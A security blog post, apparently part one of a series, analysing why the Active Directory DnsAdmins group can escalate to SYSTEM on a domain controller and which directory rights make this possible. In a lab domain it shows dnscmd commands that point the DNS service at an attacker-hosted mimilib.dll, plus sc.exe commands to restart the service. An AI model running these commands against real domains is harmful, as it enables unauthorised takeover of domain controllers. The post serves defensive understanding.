Why DnsAdmins privilege escalation is still working ?
22 Apr 2021Hello,
In this article, first part of a serie, i’m talking about DnsAdmins and why this is a group you should take care of. I know that several articles talk about the privilege escalation (DNS service running on a domain controller and loading an arbitrary DLL).
We will quickly review this attack, but mainly i would rather focus on why it is still working nowadays, which permissions do you need to run this attack. I will conclude in a second part with the mitigations which can be implemented to prevent this attack.
What is DnsAdmins ?
Long story short, as mentioned in the Active Directory guide from the french cybersecurity national agency (ANSSI) ;
members of the DnsAdmins group are granted access rights to manage a Microsoft DNS service.
So as a member of DnsAdmins group, you can manage your DNS zones and DNS services. You can for example create a new DNS zone, manage your DNS entries, start / stop the dns.exe service which is running as SYSTEM and being hosted, most of the time, by a domain controller. More generally you can perform any setup and configuration tasks dealing with your DNS servers.
We already know that a privilege escalation exists from a user being a member of DnsAdmins. As a reminder from https://adsecurity.org/?p=4064 ;
- member of DnsAdmins or have write access to a DNS server object
- DNS management is performed over RPC (UUID is 50ABC2A4–574D-40B3–9D66-EE4FD5FBA076) and the transport mechanism is the \PIPE\DNSSERVER named pipe.
- According to Microsoft protocol specification, the “ServerLevelPluginDll” operation enables us to load a dll of our choosing (with no verification of dll path).
- dnscmd.exe already implements this option:
dnscmd.exe /config /serverlevelplugindll \\path\to\dll
- When executing this dnscmd.exe command as a user that is a member of DnsAdmins, the following registry key is populated:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll
- Restarting the DNS service will load the DLL in this path; however, the DLL needs to contain “one of the DnsPluginInitialize, DnsPluginCleanup or DnsPluginQuery exports.”
- The DLL simply needs to be available on a network share that the Domain Controller’s computer account can access.
As said ;
DNS management is performed over RPC (UUID is 50ABC2A4–574D-40B3–9D66-EE4FD5FBA076) and the transport mechanism is the \PIPE\DNSSERVER named pipe
Let’s check ;
C:\Users\attacker\Documents\impacket>rpcdump.py DC01
...
Protocol: [MS-DNSP]: Domain Name Service (DNS) Server Management
Provider: dns.exe
UUID : 50ABC2A4-574D-40B3-9D66-EE4FD5FBA076 v5.0
Bindings:
ncacn_ip_tcp:0.0.0.0[49679]
...
MicrosoftDNS container
CN=System is a top-level container of a domain naming context, which is used for miscellaneous domain configuration objects. Examples include trust objects, DNS objects, and group policy objects. It contains the CN=MicrosoftDNS container.
In general a service with specific access rights stores its security settings in the registry key HKLM\System\CurrentControlSet\Services\<service_name>\security
.
In our case, the dns service will use as a security descriptor the one applied to the LDAP MicrosoftDNS object.
Thanks to ldp.exe, let’s have a look at the MicrosoftDNS security descriptor ;
You also can read the ntSecurityDescriptor attribute thanks to this command ;
PS C:\> (Get-ADObject "CN=MicrosoftDNS,CN=System,$((Get-ADRootDSE).defaultNamingContext)" -Properties ntSecurityDescriptor | select -ExpandProperty ntSecurityDescriptor).access | Where-Object {$_.IdentityReference -Like "*DnsAdmins*"}
ActiveDirectoryRights : CreateChild, DeleteChild, ListChildren, ReadProperty, DeleteTree, ExtendedRight, Delete, GenericWrite, WriteDacl, WriteOwner
InheritanceType : All
ObjectType : 00000000-0000-0000-0000-000000000000
InheritedObjectType : 00000000-0000-0000-0000-000000000000
ObjectFlags : None
AccessControlType : Allow
IdentityReference : PHACKT\DnsAdmins
IsInherited : False
InheritanceFlags : ContainerInherit
PropagationFlags : None
With this last command you will get the GENERIC_WRITE
right, which stands for RIGHT_READ_CONTROL | RIGHT_DS_WRITE_PROPERTY | RIGHT_DS_WRITE_PROPERTY_EXTENDED
.
So according to the Active Directory Technical Specification (Page 419), what is the RIGHT_DS_WRITE_PROPERTY_EXTENDED
and why is it important in our exploitation ?
What are the necessary rights for the exploitation
Let’s play with DnsAdmins rights and see what happens in the context of a DnsAdmins member. Let’s assume that our attacker user got a control path to add himself to DnsAdmins for example ;
PS C:\> Get-ADGroupMember DnsAdmins
distinguishedName : CN=attacker,CN=Users,DC=phackt,DC=local
name : attacker
objectClass : user
objectGUID : 1cab0c62-e28b-4a80-b13f-f1ff515d6d44
SamAccountName : attacker
SID : S-1-5-21-3816950244-2414788102-2833019223-1612
PS C:\> whoami
phackt\attacker
PS C:\> dnscmd DC01.PHACKT.LOCAL /config /serverlevelplugindll \\attackermachine\dll\mimilib.dll
Registry property serverlevelplugindll successfully reset.
Command completed successfully
dnscmd.exe will need the DNS RSAT installed:
Add-WindowsCapability –online –Name "Rsat.Dns.Tools~~~~0.0.1.0"
So what happened ?
The ServerPluginDll
has been set, you can restart the DNS service to trigger your exploit :
sc.exe \\dc01.phackt.local stop dns
sc.exe \\dc01.phackt.local start dns
Now let’s drop the RIGHT_DS_WRITE_PROPERTY_EXTENDED
right ;
Now let’s get back to our exploitation ;
Hum ok it does not work anymore. So let’s rollback and drop this time the RIGHT_DS_WRITE_PROPERTY
;
We are also getting ERROR_ACCESS_DENIED
.
First conclusion
We can run the DnsAdmins privilege escalation because DnsAdmins is a trustee with the RIGHT_DS_WRITE_PROPERTY
and RIGHT_DS_WRITE_PROPERTY_EXTENDED
rights on MicrosoftDNS container. As mentioned, the dns.exe service is using the MicrosoftDNS security descriptor to define its access rights.
RIGHT_DS_WRITE_PROPERTY_EXTENDED :
The right to perform an operation controlled by a validated write access right. The ObjectType member of an ACE can contain a GUID that identifies the validated write. If ObjectType does not contain a GUID, the ACE controls the rights to perform all validated write operations associated with the object.
We understand that it allows the trustee (DnsAdmins) to write any extended property of our dns service. It makes sense that the needed rights expected to edit the registry key (the write permissions we just talked about) are checked in the code of the DNS service. May be it should be worth reversing the RPC exposed.
We will review in a second part why DnsAdmins has to be considered as a Protected Group and the other mitigations to implement.
Let’s have a look at the following groups ;
PS C:\> Get-ADGroup DnsAdmins -Properties members,admincount
DistinguishedName : CN=DnsAdmins,CN=Users,DC=phackt,DC=local
GroupCategory : Security
GroupScope : DomainLocal
Members : {}
Name : DnsAdmins
ObjectClass : group
ObjectGUID : 54d747e8-f9c2-461b-b8f2-5cc0b99249cc
SamAccountName : DnsAdmins
SID : S-1-5-21-3816950244-2414788102-2833019223-1101
PS C:\> Get-ADGroup 'Domain Admins' -Properties members,admincount
admincount : 1
DistinguishedName : CN=Domain Admins,CN=Users,DC=phackt,DC=local
GroupCategory : Security
GroupScope : Global
Members : {CN=testdaadmin,CN=Users,DC=phackt,DC=local, CN=Administrator,CN=Users,DC=phackt,DC=local}
Name : Domain Admins
ObjectClass : group
ObjectGUID : 6e647868-0e92-4686-b555-e4b5b53e1a15
SamAccountName : Domain Admins
SID : S-1-5-21-3816950244-2414788102-2833019223-512
Keep in mind that for the Domain Admins group, you can see the proof that the Security Descriptor Propagator has been processed thanks to the property admincount set to 1, meaning that “Domain Admins” is a Protected Group as we will see later. It’s not the case for DnsAdmins.
Thanks for reading and see you in part 2,
Phackt.